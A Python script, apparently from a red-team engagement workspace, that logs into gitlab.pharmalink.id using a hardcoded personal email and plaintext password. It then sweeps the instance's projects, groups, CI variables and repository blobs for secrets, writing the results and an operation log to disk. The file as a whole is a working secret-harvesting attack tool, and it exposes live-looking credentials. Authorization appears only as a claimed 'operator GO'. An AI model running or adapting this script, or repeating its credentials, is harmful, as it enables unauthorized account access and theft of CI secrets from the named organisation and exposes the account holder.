#!/usr/bin/env python3
"""Full L2 for gitlab.pharmalink.id (engagement one-off, operator GO 2026-08-14).

Step 1: L1 revalidate (OAuth password grant + /api/v4/user).
Step 2: full L2 via l2_aug06_sweep.l2_target(do_blobs=True):
  projects + groups + CI vars + per-project blob secret search (75 projects).
Read-only. Out: L2_full_aug14.json + OPLOG.md entries.
"""
import importlib.util
import json
import sys
import urllib.parse
from datetime import datetime, timezone
from pathlib import Path

ROOT = Path('/root/ir-assessment')
REDTEAM = ROOT / 'redteam'
DOSSIER = REDTEAM / 'gitlab_pharmalink_id'

spec = importlib.util.spec_from_file_location('l2s', str(REDTEAM / 'l2_aug06_sweep.py'))
l2s = importlib.util.module_from_spec(spec)
spec.loader.exec_module(l2s)

TARGET = {'platform': 'gitlab', 'base': 'https://gitlab.pharmalink.id',
          'user': 'marcellowilliam74@gmail.com', 'pw': '@Cello1333'}

def oplog(tool, cmd, desc, output, result, sysmod='none'):
    ts = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M')
    line = (f"{ts} | local | gitlab.pharmalink.id:443 | {tool} | {cmd} | {desc} | "
            f"{output} | {result} | {sysmod} | read-only API\n")
    with open(DOSSIER / 'OPLOG.md', 'a') as f:
        f.write(line)

def main():
    DOSSIER.mkdir(parents=True, exist_ok=True)
    # init OPLOG if absent
    if not (DOSSIER / 'OPLOG.md').exists():
        (DOSSIER / 'OPLOG.md').write_text(
            "# OPLOG — gitlab.pharmalink.id\n"
            "# Fmt: TS | SRC | DST | TOOL | CMD | DESC | OUTPUT | RESULT | SYSMOD | COMMENTS\n\n")

    # --- Step 1: L1 revalidate ---
    t0 = datetime.now(timezone.utc)
    tok = l2s.oauth(TARGET['base'], TARGET['user'], TARGET['pw'])
    if not tok:
        oplog('urllib/oauth', 'POST /oauth/token (password grant)', 'L1 revalidate',
              'oauth failed', 'FAIL')
        print('[-] L1 REVALIDATE FAILED: oauth failed', file=sys.stderr)
        sys.exit(1)
    H = {'Authorization': f'Bearer {tok}'}
    u, st = l2s.getj(TARGET['base'], '/api/v4/user', H)
    if not u:
        oplog('urllib/api', 'GET /api/v4/user', 'L1 revalidate', f'http {st}', 'FAIL')
        print(f'[-] L1 REVALIDATE FAILED: /user http {st}', file=sys.stderr)
        sys.exit(1)
    idn = {k: u.get(k) for k in ('username', 'email', 'is_admin', 'state', 'id')}
    oplog('urllib/oauth+api', 'POST /oauth/token; GET /api/v4/user',
          'L1 revalidate (operator GO 2026-08-14)',
          f"identity={json.dumps(idn)}", 'SUCCESS')
    print(f"[+] L1 REVALIDATED: {json.dumps(idn)}", file=sys.stderr)

    # --- Step 2: full L2 with blobs ---
    r = l2s.l2_target(TARGET, do_blobs=True)
    out = DOSSIER / 'L2_full_aug14.json'
    out.write_text(json.dumps(r, indent=1, ensure_ascii=False))
    idn2 = r.get('identity', {})
    oplog('l2_aug06_sweep.l2_target', 'l2_target(do_blobs=True)',
          'full L2: projects/groups/CI vars/blob secret search (75 projects)',
          f"admin={idn2.get('is_admin')} state={idn2.get('state')} "
          f"proj={r.get('projects_count')} grp={len(r.get('groups', []))} "
          f"civars={r.get('ci_vars_count')} blob_hits={r.get('blob_hits_count')} "
          f"errors={r['errors'][:2]}",
          'SUCCESS' if not r['errors'] else 'PARTIAL')
    print(f"[+] full L2 -> {out}", file=sys.stderr)
    print(f"    proj={r.get('projects_count')} grp={len(r.get('groups', []))} "
          f"civars={r.get('ci_vars_count')} blob_hits={r.get('blob_hits_count')} "
          f"errors={r['errors'][:2]}", file=sys.stderr)

if __name__ == '__main__':
    main()
